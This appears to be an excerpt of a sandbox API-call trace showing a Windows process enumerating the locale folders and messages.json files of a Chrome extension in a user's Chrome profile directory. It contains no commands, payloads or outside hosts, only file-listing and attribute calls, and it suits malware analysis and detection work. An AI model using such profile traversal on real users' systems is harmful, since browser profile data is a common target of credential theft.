	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0066.283] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0066.283] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0066.283] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0066.283] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
	[0066.284] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar"), fInfoLevelId=0x0, lpFileInformation=0x12652288 | out: lpFileInformation=0x12652288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.286] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652328 | out: lpFileInformation=0x12652328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101)) returned 1
	[0066.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg"), fInfoLevelId=0x0, lpFileInformation=0x12652378 | out: lpFileInformation=0x12652378*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.286] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.286] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652418 | out: lpFileInformation=0x12652418*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1
	[0066.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca"), fInfoLevelId=0x0, lpFileInformation=0x12652468 | out: lpFileInformation=0x12652468*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.288] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12652508 | out: lpFileInformation=0x12652508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs"), fInfoLevelId=0x0, lpFileInformation=0x12652558 | out: lpFileInformation=0x12652558*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.291] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x126525f8 | out: lpFileInformation=0x126525f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1
	[0066.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da"), fInfoLevelId=0x0, lpFileInformation=0x12652648 | out: lpFileInformation=0x12652648*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
